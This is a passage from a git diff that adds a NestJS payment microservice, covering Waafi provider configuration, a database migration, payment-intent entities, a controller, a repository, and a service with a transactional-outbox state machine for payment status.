family). + merchantUid: process.env.WAAFI_MERCHANT_UID ?? "", + storeId: process.env.WAAFI_STORE_ID ?? "", + hppKey: process.env.WAAFI_HPP_KEY ?? "", + // HMAC secret returned once by WEBHOOK_REGISTER; verifies inbound webhooks. + webhookSecret: process.env.WAAFI_WEBHOOK_SECRET ?? "", + // Wallet payment method (EVC/ZAAD/Sahal) — MWALLET_ACCOUNT requires the payer phone up front. + paymentMethod: process.env.WAAFI_PAYMENT_METHOD ?? "MWALLET_ACCOUNT", + // Waafi has no ETB; when set this overrides the asserted currency (USD/DJF/SLSH). + currency: process.env.WAAFI_CURRENCY ?? "DJF", + // Browser redirect targets after the hosted page completes/fails (UX only; webhook is source of truth). + successUrl: process.env.WAAFI_HPP_SUCCESS_URL ?? "", + failureUrl: process.env.WAAFI_HPP_FAILURE_URL ?? "", + // Callback data format: 1 = POST, 2 = GET, 4 = Result Token. + respDataFormat: Number(process.env.WAAFI_HPP_RESP_FORMAT ?? "1"), + // Registered webhook URL (reference only; registration is performed out-of-band). + notifyUrl: process.env.WAAFI_NOTIFY_URL ?? "", + // DEV ONLY: disable TLS cert verification. The Waafi sandbox serves a *.waafi.com cert that + // does not match sandbox.waafipay.net (ERR_TLS_CERT_ALTNAME_INVALID). Never enable in prod. + insecureTls: process.env.WAAFI_INSECURE_TLS === "true", +})); diff --git a/apps/edr-payment-api/src/data-source.ts b/apps/edr-payment-api/src/data-source.ts new file mode 100644 index 000000000..2aa708300 --- /dev/null +++ b/apps/edr-payment-api/src/data-source.ts @@ -0,0 +1,8 @@ +import "dotenv/config"; +import { DataSource } from "typeorm"; +import { buildDataSourceOptions } from "./config/database.config"; + +/** Standalone DataSource for the TypeORM CLI and the migrate script. */ +export const AppDataSource = new DataSource(buildDataSourceOptions()); + +export default AppDataSource; diff --git a/apps/edr-payment-api/src/main.ts b/apps/edr-payment-api/src/main.ts new file mode 100644 index 000000000..c9ad69494 --- /dev/null +++ b/apps/edr-payment-api/src/main.ts @@ -0,0 +1,54 @@ +import "reflect-metadata"; +import "dotenv/config"; +import { NestFactory } from "@nestjs/core"; +import { ValidationPipe } from "@nestjs/common"; +import { DocumentBuilder, SwaggerModule } from "@nestjs/swagger"; +import { AppModule } from "./app.module"; +import { ensurePaymentSchema } from "./config/ensure-schema"; + +async function bootstrap() { + // The edr_payment database/schema must exist before TypeORM boots (migrationsRun: true). + await ensurePaymentSchema(); + + // rawBody: true buffers the unparsed request body onto req.rawBody so webhook handlers + // (e.g. Waafi HMAC verification) can sign over the exact bytes the provider signed. + const app = await NestFactory.create(AppModule, { rawBody: true }); + + app.useGlobalPipes( + new ValidationPipe({ + whitelist: true, + transform: true, + forbidUnknownValues: false, + }), + ); + + const config = new DocumentBuilder() + .setTitle("EDR Payment API") + .setDescription( + "Platform payment microservice: payment intents, provider integration, the single " + + "registered webhook per provider, and reliable (outbox) notification of the owning app. " + + "Internal endpoints (/payments/*) require the x-service-token header; /webhooks/* is the " + + "only public surface. See docs/payment-service/.", + ) + .setVersion("1.0.0") + .addApiKey( + { type: "apiKey", name: "x-service-token", in: "header" }, + "service-token", + ) + .build(); + SwaggerModule.setup( + "api-docs", + app, + SwaggerModule.createDocument(app, config), + { + customSiteTitle: "EDR Payment API", + swaggerOptions: { persistAuthorization: true }, + }, + ); + + const port = process.env.PORT ?? 3003; + await app.listen(port); + console.log(`🚀 EDR Payment API running on port ${port}`); + console.log(`📚 Swagger: http://localhost:${port}/api-docs`); +} +bootstrap(); diff --git a/apps/edr-payment-api/src/migrations/1781136000000-InitPaymentSchema.ts b/apps/edr-payment-api/src/migrations/1781136000000-InitPaymentSchema.ts new file mode 100644 index 000000000..bbff2e7f1 --- /dev/null +++ b/apps/edr-payment-api/src/migrations/1781136000000-InitPaymentSchema.ts @@ -0,0 +1,124 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Initial edr_payment schema: payment_intent, payment_webhook_event, notification_outbox. + * + * Enum-valued columns are varchar on purpose (values mirror the @edr/types enums) so new + * providers/statuses never need an ALTER TYPE. uuid defaults use gen_random_uuid() (built into + * Postgres 13+; no extension required). + */ +export class InitPaymentSchema1781136000000 implements MigrationInterface { + name = "InitPaymentSchema1781136000000"; + + public async up(queryRunner: QueryRunner): Promise { + // Defensive — bootstrap (ensure-schema) normally creates this before migrations run. + await queryRunner.query(`CREATE SCHEMA IF NOT EXISTS "edr_payment"`); + + await queryRunner.query(` + CREATE TABLE "edr_payment"."payment_intent" ( + "id" uuid NOT NULL DEFAULT gen_random_uuid(), + "created_at" timestamptz NOT NULL DEFAULT now(), + "updated_at" timestamptz NOT NULL DEFAULT now(), + "deleted_at" timestamptz, + "service" varchar(16) NOT NULL, + "reference_type" varchar(16) NOT NULL, + "reference_id" varchar(64) NOT NULL, + "merchant_order_id" varchar(64) NOT NULL, + "provider" varchar(16) NOT NULL, + "provider_order_id" varchar(128), + "provider_txn_id" varchar(128), + "amount_minor" integer NOT NULL, + "confirmed_amount_minor" integer, + "currency" varchar(8) NOT NULL, + "status" varchar(24) NOT NULL DEFAULT 'REQUIRES_ACTION', + "client_action" jsonb, + "failure_code" varchar(64), + "failure_message" text, + "idempotency_key" varchar(128), + "expires_at" timestamptz, + "paid_at" timestamptz, + "raw_initiation" jsonb, + CONSTRAINT "pk_payment_intent" PRIMARY KEY ("id"), + CONSTRAINT "uq_payment_intent_merchant_order_id" UNIQUE ("merchant_order_id") + ) + `); + // One ACTIVE intent per domain order; terminal-failed attempts remain as audit rows. + await queryRunner.query(` + CREATE UNIQUE INDEX "uq_payment_intent_active_reference" + ON "edr_payment"."payment_intent" ("service", "reference_type", "reference_id") + WHERE status NOT IN ('FAILED','CANCELLED') AND deleted_at IS NULL + `); + await queryRunner.query(` + CREATE INDEX "idx_payment_intent_provider_txn" + ON "edr_payment"."payment_intent" ("provider_txn_id") + `); + await queryRunner.query(` + CREATE INDEX "idx_payment_intent_sweep" + ON "edr_payment"."payment_intent" ("status", "updated_at") + `); + await queryRunner.query(` + CREATE INDEX "idx_payment_intent_idempotency" + ON "edr_payment"."payment_intent" ("service", "idempotency_key") + `); + + await queryRunner.query(` + CREATE TABLE "edr_payment"."payment_webhook_event" ( + "id" uuid NOT NULL DEFAULT gen_random_uuid(), + "created_at" timestamptz NOT NULL DEFAULT now(), + "updated_at" timestamptz NOT NULL DEFAULT now(), + "deleted_at" timestamptz, + "provider" varchar(16) NOT NULL, + "external_event_id" varchar(191) NOT NULL, + "merchant_order_id" varchar(64), + "provider_txn_id" varchar(128), + "signature_valid" boolean NOT NULL DEFAULT false, + "status" varchar(64), + "payload" jsonb NOT NULL, + "received_at" timestamptz NOT NULL DEFAULT now(), + "processed_at" timestamptz, + "processing_error" text, + CONSTRAINT "pk_payment_webhook_event" PRIMARY KEY ("id") + ) + `); + // The webhook dedupe key: duplicate provider deliveries hit this and short-circuit. + await queryRunner.query(` + CREATE UNIQUE INDEX "uq_payment_webhook_event_external" + ON "edr_payment"."payment_webhook_event" ("provider", "external_event_id") + `); + + await queryRunner.query(` + CREATE TABLE "edr_payment"."notification_outbox" ( + "id" uuid NOT NULL DEFAULT gen_random_uuid(), + "created_at" timestamptz NOT NULL DEFAULT now(), + "updated_at" timestamptz NOT NULL DEFAULT now(), + "deleted_at" timestamptz, + "event_type" varchar(32) NOT NULL, + "service" varchar(16) NOT NULL, + "intent_id" uuid NOT NULL, + "reference_type" varchar(16) NOT NULL, + "reference_id" varchar(64) NOT NULL, + "payload" jsonb NOT NULL, + "status" varchar(16) NOT NULL DEFAULT 'PENDING', + "attempts" integer NOT NULL DEFAULT 0, + "next_retry_at" timestamptz, + "last_error" text, + "sent_at" timestamptz, + CONSTRAINT "pk_notification_outbox" PRIMARY KEY ("id") + ) + `); + await queryRunner.query(` + CREATE INDEX "idx_notification_outbox_relay" + ON "edr_payment"."notification_outbox" ("status", "next_retry_at") + `); + await queryRunner.query(` + CREATE INDEX "idx_notification_outbox_intent" + ON "edr_payment"."notification_outbox" ("intent_id") + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE "edr_payment"."notification_outbox"`); + await queryRunner.query(`DROP TABLE "edr_payment"."payment_webhook_event"`); + await queryRunner.query(`DROP TABLE "edr_payment"."payment_intent"`); + } +} diff --git a/apps/edr-payment-api/src/modules/health/health.controller.ts b/apps/edr-payment-api/src/modules/health/health.controller.ts new file mode 100644 index 000000000..86eee1cc0 --- /dev/null +++ b/apps/edr-payment-api/src/modules/health/health.controller.ts @@ -0,0 +1,16 @@ +import { Controller, Get } from "@nestjs/common"; +import { ApiOperation, ApiTags } from "@nestjs/swagger"; + +@ApiTags("Health") +@Controller("health") +export class HealthController { + @Get() + @ApiOperation({ summary: "Liveness probe" }) + check() { + return { + status: "ok", + service: "edr-payment-api", + timestamp: new Date().toISOString(), + }; + } +} diff --git a/apps/edr-payment-api/src/modules/health/health.module.ts b/apps/edr-payment-api/src/modules/health/health.module.ts new file mode 100644 index 000000000..40b7bdfae --- /dev/null +++ b/apps/edr-payment-api/src/modules/health/health.module.ts @@ -0,0 +1,7 @@ +import { Module } from "@nestjs/common"; +import { HealthController } from "./health.controller"; + +@Module({ + controllers: [HealthController], +}) +export class HealthModule {} diff --git a/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts b/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts new file mode 100644 index 000000000..20465fc0e --- /dev/null +++ b/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts @@ -0,0 +1,100 @@ +import { + IsEnum, + IsIn, + IsInt, + IsOptional, + IsPositive, + IsString, + Length, + MaxLength, +} from "class-validator"; +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { + InitiatePaymentRequest, + PaymentPlatform, + PaymentReferenceType, + PaymentService, + ProviderMethod, +} from "@edr/types"; + +/** Wire shape is the shared `InitiatePaymentRequest` contract from @edr/types. */ +export class InitiatePaymentRequestDto implements InitiatePaymentRequest { + @ApiProperty({ enum: PaymentService }) + @IsEnum(PaymentService) + service!: PaymentService; + + @ApiProperty({ enum: PaymentReferenceType }) + @IsEnum(PaymentReferenceType) + referenceType!: PaymentReferenceType; + + @ApiProperty({ + description: + "Domain order id (booking/shipment id) — already validated by the calling app", + }) + @IsString() + @Length(1, 64) + referenceId!: string; + + @ApiPropertyOptional({ + description: + "Human-readable order ref shown on provider pages; defaults to referenceId", + }) + @IsOptional() + @IsString() + @MaxLength(64) + orderRef?: string; + + @ApiProperty({ + description: + "Authoritative amount in minor units, computed server-side by the app", + }) + @IsInt() + @IsPositive() + amountMinor!: number; + + @ApiProperty({ example: "ETB" }) + @IsString() + @Length(3, 8) + currency!: string; + + @ApiProperty({ enum: ProviderMethod }) + @IsEnum(ProviderMethod) + provider!: ProviderMethod; + + @ApiPropertyOptional({ enum: ["web", "mobile"] }) + @IsOptional() + @IsIn(["web", "mobile"]) + platform?: PaymentPlatform; + + @ApiPropertyOptional({ + description: + "Payer wallet MSISDN for providers that pre-fill it (e.g. Waafi MWALLET_ACCOUNT)", + }) + @IsOptional() + @IsString() + @MaxLength(32) + payerAccount?: string; + + @ApiPropertyOptional({ + description: "Caller key to dedupe retried initiations", + }) + @IsOptional() + @IsString() + @MaxLength(128) + idempotencyKey?: string; +} + +export class IntentReferenceQueryDto { + @ApiProperty({ enum: PaymentService }) + @IsEnum(PaymentService) + service!: PaymentService; + + @ApiProperty({ enum: PaymentReferenceType }) + @IsEnum(PaymentReferenceType) + referenceType!: PaymentReferenceType; + + @ApiProperty() + @IsString() + @Length(1, 64) + referenceId!: string; +} diff --git a/apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts b/apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts new file mode 100644 index 000000000..68c519604 --- /dev/null +++ b/apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts @@ -0,0 +1,135 @@ +import { Column, Entity, Index } from "typeorm"; +import { BaseEntity } from "@edr/api-common"; +import { + ClientAction, + PaymentReferenceType, + PaymentService, + ProviderMethod, + ProviderPaymentStatus, +} from "@edr/types"; + +/** + * One payment attempt for one domain order — the platform-wide source of truth for payment + * state. `reference_id` is a soft reference into the owning app's schema (never a FK; see + * docs/payment-service/architecture.md §5). + * + * Enum-valued columns are stored as varchar (values mirror the shared @edr/types enums) so + * adding a provider/status never needs an ALTER TYPE migration. + */ +@Entity({ name: "payment_intent" }) +// One ACTIVE intent per domain order; FAILED/CANCELLED attempts may accumulate as audit rows. +@Index( + "uq_payment_intent_active_reference", + ["service", "referenceType", "referenceId"], + { + unique: true, + where: `status NOT IN ('FAILED','CANCELLED') AND deleted_at IS NULL`, + }, +) +@Index("idx_payment_intent_sweep", ["status", "updatedAt"]) +@Index("idx_payment_intent_idempotency", ["service", "idempotencyKey"]) +export class PaymentIntent extends BaseEntity { + /** Owning domain app — routing discriminator for notifications. */ + @Column({ name: "service", type: "varchar", length: 16 }) + service!: PaymentService; + + @Column({ name: "reference_type", type: "varchar", length: 16 }) + referenceType!: PaymentReferenceType; + + /** Domain order id (booking/shipment). Soft reference — no cross-schema FK. */ + @Column({ name: "reference_id", type: "varchar", length: 64 }) + referenceId!: string; + + /** Provider-facing reference, prefixed PSG-/FRT- so webhooks route before a DB lookup. */ + @Column({ + name: "merchant_order_id", + type: "varchar", + length: 64, + unique: true, + }) + merchantOrderId!: string; + + @Column({ name: "provider", type: "varchar", length: 16 }) + provider!: ProviderMethod; + + /** Provider-side order/session id (prepay id, HPP orderId, …). */ + @Column({ + name: "provider_order_id", + type: "varchar", + length: 128, + nullable: true, + }) + providerOrderId?: string | null; + + /** Final provider transaction id, set on terminal success. */ + @Index("idx_payment_intent_provider_txn") + @Column({ + name: "provider_txn_id", + type: "varchar", + length: 128, + nullable: true, + }) + providerTxnId?: string | null; + + /** App-asserted authoritative amount in minor units. */ + @Column({ name: "amount_minor", type: "integer" }) + amountMinor!: number; + + /** Provider-reported amount; reconciled against amount_minor (e.g. Waafi truncates decimals). */ + @Column({ name: "confirmed_amount_minor", type: "integer", nullable: true }) + confirmedAmountMinor?: number | null; + + @Column({ name: "currency", type: "varchar", length: 8 }) + currency!: string; + + /** State machine: REQUIRES_ACTION → PROCESSING → SUCCEEDED | FAILED | CANCELLED (absorbing). */ + @Column({ + name: "status", + type: "varchar", + length: 24, + default: ProviderPaymentStatus.REQUIRES_ACTION, + }) + status!: ProviderPaymentStatus; + + /** Redirect/launch payload returned to the app for the user to complete payment. */ + @Column({ name: "client_action", type: "jsonb", nullable: true }) + clientAction?: ClientAction | null; + + @Column({ name: "failure_code", type: "varchar", length: 64, nullable: true }) + failureCode?: string | null; + + @Column({ name: "failure_message", type: "text", nullable: true }) + failureMessage?: string | null; + + /** Caller-supplied initiate dedupe key (in addition to the per-reference upsert). */ + @Column({ + name: "idempotency_key", + type: "varchar", + length: 128, + nullable: true, + }) + idempotencyKey?: string | null; + + @Column({ name: "expires_at", type: "timestamptz", nullable: true }) + expiresAt?: Date | null; + + @Column({ name: "paid_at", type: "timestamptz", nullable: true }) + paidAt?: Date | null; + + /** Audit copy of the provider initiation request/response (secrets redacted upstream). */ + @Column({ name: "raw_initiation", type: "jsonb", nullable: true }) + rawInitiation?: Record | null; +} + +/** Statuses that keep the per-reference unique index "active" (block a new intent). */ +export const ACTIVE_INTENT_STATUSES = [ + ProviderPaymentStatus.REQUIRES_ACTION, + ProviderPaymentStatus.PROCESSING, + ProviderPaymentStatus.SUCCEEDED, +] as const; + +export const TERMINAL_INTENT_STATUSES = [ + ProviderPaymentStatus.SUCCEEDED, + ProviderPaymentStatus.FAILED, + ProviderPaymentStatus.CANCELLED, +] as const; diff --git a/apps/edr-payment-api/src/modules/intents/intents.controller.ts b/apps/edr-payment-api/src/modules/intents/intents.controller.ts new file mode 100644 index 000000000..858ad3bae --- /dev/null +++ b/apps/edr-payment-api/src/modules/intents/intents.controller.ts @@ -0,0 +1,69 @@ +import { + Body, + Controller, + Get, + Param, + ParseUUIDPipe, + Post, + Query, + UseGuards, +} from "@nestjs/common"; +import { ApiOperation, ApiTags } from "@nestjs/swagger"; +import { PaymentIntentSnapshot } from "@edr/types"; +import { ServiceAuthGuard } from "../../common/guards/service-auth.guard"; +import { + InitiatePaymentRequestDto, + IntentReferenceQueryDto, +} from "./dto/initiate-payment.dto"; +import { IntentsService } from "./intents.service"; + +/** + * Internal surface — called only by the domain apps (service-authenticated), never by + * browsers. Domain validation ("is this booking payable", authoritative amount) has already + * happened in the calling app. + */ +@ApiTags("Payments (internal)") +@UseGuards(ServiceAuthGuard) +@Controller("payments") +export class IntentsController { + constructor(private readonly intentsService: IntentsService) {} + + @Post("initiate") + @ApiOperation({ + summary: + "Create (or idempotently reuse) a payment intent and open a provider session", + description: + "One active intent per (service, referenceType, referenceId). Re-initiating a non-terminal intent returns the existing clientAction.", + }) + async initiate( + @Body() dto: InitiatePaymentRequestDto, + ): Promise { + return this.intentsService.initiate(dto); + } + + @Get("intents/:id") + @ApiOperation({ + summary: "Intent status by id (pull/reconcile)", + description: + "Stale non-terminal intents trigger a provider status query before returning.", + }) + async getIntent( + @Param("id", ParseUUIDPipe) id: string, + ): Promise { + return this.intentsService.getIntent(id); + } + + @Get("intents") + @ApiOperation({ + summary: "Active intent status by domain reference (pull/reconcile)", + }) + async getIntentByReference( + @Query() query: IntentReferenceQueryDto, + ): Promise { + return this.intentsService.getIntentByReference( + query.service, + query.referenceType, + query.referenceId, + ); + } +} diff --git a/apps/edr-payment-api/src/modules/intents/intents.module.ts b/apps/edr-payment-api/src/modules/intents/intents.module.ts new file mode 100644 index 000000000..9e9774ad9 --- /dev/null +++ b/apps/edr-payment-api/src/modules/intents/intents.module.ts @@ -0,0 +1,21 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; +import { ProvidersModule } from "../providers/providers.module"; +import { NotificationOutbox } from "../outbox/entities/notification-outbox.entity"; +import { PaymentIntent } from "./entities/payment-intent.entity"; +import { IntentsController } from "./intents.controller"; +import { IntentsRepository } from "./intents.repository"; +import { IntentsService } from "./intents.service"; + +@Module({ + // NotificationOutbox is registered here because terminal transitions insert outbox rows + // inside the intent-finalizing transaction (transactional outbox). + imports: [ + TypeOrmModule.forFeature([PaymentIntent, NotificationOutbox]), + ProvidersModule, + ], + controllers: [IntentsController], + providers: [IntentsService, IntentsRepository], + exports: [IntentsService, IntentsRepository], +}) +export class IntentsModule {} diff --git a/apps/edr-payment-api/src/modules/intents/intents.repository.ts b/apps/edr-payment-api/src/modules/intents/intents.repository.ts new file mode 100644 index 000000000..a17407069 --- /dev/null +++ b/apps/edr-payment-api/src/modules/intents/intents.repository.ts @@ -0,0 +1,73 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { In, LessThan, Not, Repository } from "typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { + PaymentReferenceType, + PaymentService, + ProviderPaymentStatus, +} from "@edr/types"; +import { PaymentIntent } from "./entities/payment-intent.entity"; + +@Injectable() +export class IntentsRepository extends BaseRepository { + constructor( + @InjectRepository(PaymentIntent) + repository: Repository, + ) { + super(repository); + } + + /** The single non-FAILED/CANCELLED intent for a domain order (matches the partial unique index). */ + async findActiveByReference( + service: PaymentService, + referenceType: PaymentReferenceType, + referenceId: string, + ): Promise { + return this.repository.findOne({ + where: { + service, + referenceType, + referenceId, + status: Not( + In([ProviderPaymentStatus.FAILED, ProviderPaymentStatus.CANCELLED]), + ), + }, + order: { createdAt: "DESC" }, + }); + } + + async findByMerchantOrderId( + merchantOrderId: string, + ): Promise { + return this.repository.findOne({ where: { merchantOrderId } }); + } + + async findByIdempotencyKey( + service: PaymentService, + idempotencyKey: string, + ): Promise { + return this.repository.findOne({ + where: { service, idempotencyKey }, + order: { createdAt: "DESC" }, + }); + } + + /** Non-terminal intents untouched since `updatedBefore` — input for the reconciliation sweep. */ + async findStale( + updatedBefore: Date, + limit: number, + ): Promise { + return this.repository.find({ + where: { + status: In([ + ProviderPaymentStatus.REQUIRES_ACTION, + ProviderPaymentStatus.PROCESSING, + ]), + updatedAt: LessThan(updatedBefore), + }, + order: { updatedAt: "ASC" }, + take: limit, + }); + } +} diff --git a/apps/edr-payment-api/src/modules/intents/intents.service.ts b/apps/edr-payment-api/src/modules/intents/intents.service.ts new file mode 100644 index 000000000..faec489f9 --- /dev/null +++ b/apps/edr-payment-api/src/modules/intents/intents.service.ts @@ -0,0 +1,342 @@ +import { + BadRequestException, + Inject, + Injectable, + Logger, + NotFoundException, +} from "@nestjs/common"; +import { DataSource, QueryFailedError } from "typeorm"; +import { createMerchantOrderId } from "@edr/payment-providers"; +import { + InitiatePaymentRequest, + MERCHANT_ORDER_PREFIX, + PaymentIntentSnapshot, + PaymentReferenceType, + PaymentService, + ProviderPaymentStatus, + ProviderStatus, +} from "@edr/types"; +import { + PAYMENT_PROVIDER_MAP, + PaymentProviderMap, +} from "../providers/providers.module"; +import { NotificationOutbox } from "../outbox/entities/notification-outbox.entity"; +import { buildOutboxRow } from "../outbox/payment-event.factory"; +import { + PaymentIntent, + TERMINAL_INTENT_STATUSES, +} from "./entities/payment-intent.entity"; +import { IntentsRepository } from "./intents.repository"; + +const PG_UNIQUE_VIOLATION = "23505"; +/** Don't hit the provider again if the intent was refreshed this recently. */ +const REFRESH_MIN_AGE_MS = 5_000; + +/** Result of a provider signal (webhook or status query) applied to the state machine. */ +export interface ProviderResultInput { + status: ProviderPaymentStatus; + providerTxnId?: string; + paidAt?: Date; + confirmedAmountMinor?: number; + failureCode?: string; + failureMessage?: string; +} + +@Injectable() +export class IntentsService { + private readonly logger = new Logger(IntentsService.name); + + constructor( + private readonly intentsRepository: IntentsRepository, + // DataSource is used only for the finalize transaction (intent update + outbox insert + // must commit atomically); routine access still goes through the custom repository. + private readonly dataSource: DataSource, + @Inject(PAYMENT_PROVIDER_MAP) + private readonly providers: PaymentProviderMap, + ) {} + + /* ------------------------------------------------------------------ initiate */ + + async initiate( + request: InitiatePaymentRequest, + ): Promise { + if (request.idempotencyKey) { + const byKey = await this.intentsRepository.findByIdempotencyKey( + request.service, + request.idempotencyKey, + ); + if (byKey) return this.toSnapshot(byKey); + } + + const existing = await this.intentsRepository.findActiveByReference( + request.service, + request.referenceType, + request.referenceId, + ); + if (existing) { + const reusable = await this.reuseOrRetire(existing); + if (reusable) return this.toSnapshot(reusable); + } + + const provider = this.providers.get(request.provider); + if (!provider) { + throw new BadRequestException( + `Unsupported payment provider: ${request.provider}`, + ); + } + + const merchantOrderId = `${MERCHANT_ORDER_PREFIX[request.service]}${createMerchantOrderId()}`; + const result = await provider.initiate({ + merchantOrderId, + orderRef: request.orderRef ?? request.referenceId, + amountMinor: request.amountMinor, + currency: request.currency, + platform: request.platform, + payerAccount: request.payerAccount, + }); + + try { + const intent = await this.intentsRepository.create({ + service: request.service, + referenceType: request.referenceType, + referenceId: request.referenceId, + merchantOrderId, + provider: request.provider, + providerOrderId: result.providerOrderId, + amountMinor: request.amountMinor, + currency: request.currency, + status: ProviderPaymentStatus.REQUIRES_ACTION, + clientAction: result.clientAction, + idempotencyKey: request.idempotencyKey ?? null, + expiresAt: result.expiresAt, + rawInitiation: result.rawInitiation, + }); + this.logger.log( + `intent ${intent.id} created: ${request.service}/${request.referenceType}/${request.referenceId} via ${request.provider} (${merchantOrderId})`, + ); + return this.toSnapshot(intent); + } catch (err) { + // Concurrent initiate for the same reference lost the partial-unique race — return the + // winner's intent. The provider session we just opened is simply abandoned. + if ( + err instanceof QueryFailedError && + (err.driverError as { code?: string })?.code === PG_UNIQUE_VIOLATION + ) { + const winner = await this.intentsRepository.findActiveByReference( + request.service, + request.referenceType, + request.referenceId, + ); + if (winner) return this.toSnapshot(winner); + } + throw err; + } + } + + /** + * Decide whether an existing active intent can be returned as-is. An expired + * REQUIRES_ACTION intent is retired (CANCELLED, no notification — nothing was paid) + * so a fresh provider session can be opened. + */ + private async reuseOrRetire( + intent: PaymentIntent, + ): Promise { + const expired = + intent.status === ProviderPaymentStatus.REQUIRES_ACTION && + intent.expiresAt != null && + intent.expiresAt.getTime() < Date.now(); + if (!expired) return intent; + + await this.intentsRepository.update(intent.id, { + status: ProviderPaymentStatus.CANCELLED, + failureCode: "EXPIRED", + failureMessage: "Provider session expired before the payer acted", + }); + return null; + } + + /* ------------------------------------------------------------------ lookups */ + + async getIntent(id: string): Promise { + const intent = await this.intentsRepository.findById(id); + if (!intent) throw new NotFoundException("PaymentIntent not found"); + return this.toSnapshot(await this.refreshIfStale(intent)); + } + + async getIntentByReference( + service: PaymentService, + referenceType: PaymentReferenceType, + referenceId: string, + ): Promise { + const intent = await this.intentsRepository.findActiveByReference( + service, + referenceType, + referenceId, + ); + if (!intent) throw new NotFoundException("PaymentIntent not found"); + return this.toSnapshot(await this.refreshIfStale(intent)); + } + + /** + * Pull-side reconciliation: when a polled intent is non-terminal and stale, ask the + * provider for the truth and run the answer through the state machine. The browser + * redirect never confirms payment — this query (or a webhook) does. + */ + private async refreshIfStale(intent: PaymentIntent): Promise { + const refreshable = + intent.status === ProviderPaymentStatus.REQUIRES_ACTION || + intent.status === ProviderPaymentStatus.PROCESSING; + const stale = intent.updatedAt.getTime() < Date.now() - REFRESH_MIN_AGE_MS; + const provider = this.providers.get(intent.provider); + if (!refreshable || !stale || !provider) return intent; + + try { + const status = await provider.queryStatus(intent.merchantOrderId); + await this.applyProviderResult( + intent.id, + this.fromProviderStatus(status), + ); + return (await this.intentsRepository.findById(intent.id)) ?? intent; + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + this.logger.warn( + `queryStatus failed for intent ${intent.id}: ${message}; returning cached`, + ); + return intent; + } + } + + fromProviderStatus(status: ProviderStatus): ProviderResultInput { + return { + status: status.status, + providerTxnId: status.providerTxnId, + failureCode: status.failureCode, + failureMessage: status.failureMessage, + }; + } + + /* ------------------------------------------------------------------ state machine */ + + /** + * Advance the intent state machine with a verified provider signal. Terminal states are + * absorbing; a terminal transition writes the notification_outbox row IN THE SAME + * TRANSACTION as the intent update (transactional outbox — architecture.md §8). + */ + async applyProviderResult( + intentId: string, + result: ProviderResultInput, + ): Promise<{ alreadyTerminal: boolean }> { + return this.dataSource.transaction(async (manager) => { + const intent = await manager + .getRepository(PaymentIntent) + .createQueryBuilder("intent") + .setLock("pessimistic_write") + .where("intent.id = :intentId", { intentId }) + .getOne(); + if (!intent) throw new NotFoundException("PaymentIntent not found"); + + if ( + (TERMINAL_INTENT_STATUSES as readonly ProviderPaymentStatus[]).includes( + intent.status, + ) + ) { + return { alreadyTerminal: true }; + } + + if (result.status === ProviderPaymentStatus.SUCCEEDED) { + const paidAt = result.paidAt ?? new Date(); + intent.status = ProviderPaymentStatus.SUCCEEDED; + intent.providerTxnId = result.providerTxnId ?? intent.providerTxnId; + intent.paidAt = paidAt; + intent.confirmedAmountMinor = + result.confirmedAmountMinor ?? intent.confirmedAmountMinor; + intent.failureCode = null; + intent.failureMessage = null; + await manager.save(intent); + await manager.getRepository(NotificationOutbox).save( + buildOutboxRow(intent, { + eventType: "payment.succeeded", + providerTxnId: intent.providerTxnId ?? undefined, + paidAt, + }), + ); + if ( + result.confirmedAmountMinor != null && + result.confirmedAmountMinor !== intent.amountMinor + ) { + this.logger.error( + `intent ${intent.id} amount mismatch: asserted=${intent.amountMinor} confirmed=${result.confirmedAmountMinor}`, + ); + } + this.logger.log( + `intent ${intent.id} SUCCEEDED (txn=${intent.providerTxnId ?? "n/a"})`, + ); + return { alreadyTerminal: false }; + } + + if ( + result.status === ProviderPaymentStatus.FAILED || + result.status === ProviderPaymentStatus.CANCELLED + ) { + intent.status = result.status; + intent.providerTxnId = result.providerTxnId ?? intent.providerTxnId; + intent.failureCode = result.failureCode ?? null; + intent.failureMessage = result.failureMessage ?? null; + await manager.save(intent); + await manager.getRepository(NotificationOutbox).save( + buildOutboxRow(intent, { + eventType: "payment.failed", + failureCode: result.failureCode, + failureMessage: result.failureMessage, + }), + ); + this.logger.log( + `intent ${intent.id} ${result.status} (${result.failureCode ?? "n/a"})`, + ); + return { alreadyTerminal: false }; + } + + // Non-terminal: REQUIRES_ACTION may move to PROCESSING; never the reverse. + if ( + result.status === ProviderPaymentStatus.PROCESSING && + intent.status === ProviderPaymentStatus.REQUIRES_ACTION + ) { + intent.status = ProviderPaymentStatus.PROCESSING; + } + intent.providerTxnId = result.providerTxnId ?? intent.providerTxnId; + await manager.save(intent); + return { alreadyTerminal: false }; + }); + } + + /** Expire an abandoned intent (reconciliation sweep) — CANCELLED + payment.failed event. */ + async expireIntent(intentId: string): Promise { + await this.applyProviderResult(intentId, { + status: ProviderPaymentStatus.CANCELLED, + failureCode: "EXPIRED", + failureMessage: "Payment session expired before completion", + }); + } + + /* ------------------------------------------------------------------ mapping */ + + toSnapshot(intent: PaymentIntent): PaymentIntentSnapshot { + return { + intentId: intent.id, + service: intent.service, + referenceType: intent.referenceType, + referenceId: intent.referenceId, + merchantOrderId: intent.merchantOrderId, + provider: intent.provider, + status: intent.status, + amountMinor: intent.amountMinor, + currency: intent.currency, + clientAction: intent.clientAction ?? undefined, + providerTxnId: intent.providerTxnId ?? undefined, + paidAt: intent.paidAt?.toISOString(), + failureCode: intent.failureCode ?? undefined, + failureMessage: intent.failureMessage ?? undefined, + expiresAt: intent.expiresAt?.toISOString(), + }; + } +} diff --git a/apps/edr-payment-api/src/modules/outbox/entities/notification-outbox.entity.ts b/apps/edr-payment-api/src/modules/outbox/entities/notification-outbox.entity.ts new file mode 100644 index 000000000..55b34e968 --- /dev/null +++ b/apps/edr-payment-api/src/modules/outbox/entities/notification-outbox.entity.ts @@ -0,0 +1,55 